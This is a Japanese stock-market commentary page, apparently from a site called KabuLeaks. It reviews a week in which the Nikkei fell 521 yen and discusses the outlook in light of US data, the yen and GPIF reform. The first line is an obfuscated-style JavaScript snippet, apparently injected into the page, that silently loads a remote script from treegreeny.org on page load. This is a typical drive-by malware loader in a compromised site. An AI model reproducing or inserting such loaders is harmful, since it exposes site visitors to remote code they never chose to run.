;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 先週の株式市況、来週の見通し|【KabuLeaks 〜株リークス〜】
仕手株

先週の株式市況、来週の見通し

先週の日経平均は下落。前週比521円安(-3%)の1万5708円と大幅に続落し取引を終えた。週初めこそ米4-6月期GDP改定値が上方修正されたことや、臨時国会での安倍首相の所信表明演説を受け円安に振れたこともあり上昇したが、米国市場ではNYダウが200ドルを超える急落、香港の民主派デモ、米国内でのエボラ患者発見等、リスク回避に向かわせるなか、2日の日経平均は利益確定売りに押され400円を超える大幅下落となった。

だが米雇用統計が市場予想を上回り、NYダウは208ドル高と5日ぶりに大幅反発。これを受け東京市場は為替も円安に転じており、堅調なスタートとなりそうだ。ただ、日本は相変わらず「GPIF改革」「円安」の2本柱が支えであり、これだけでは9月のような順調な株高を再現するのは容易ではないと考える。週明けの東京市場は買い優勢のスタートになるだろうが、株価回復も緩やかなものと考え米株式市場の動向に注目したい。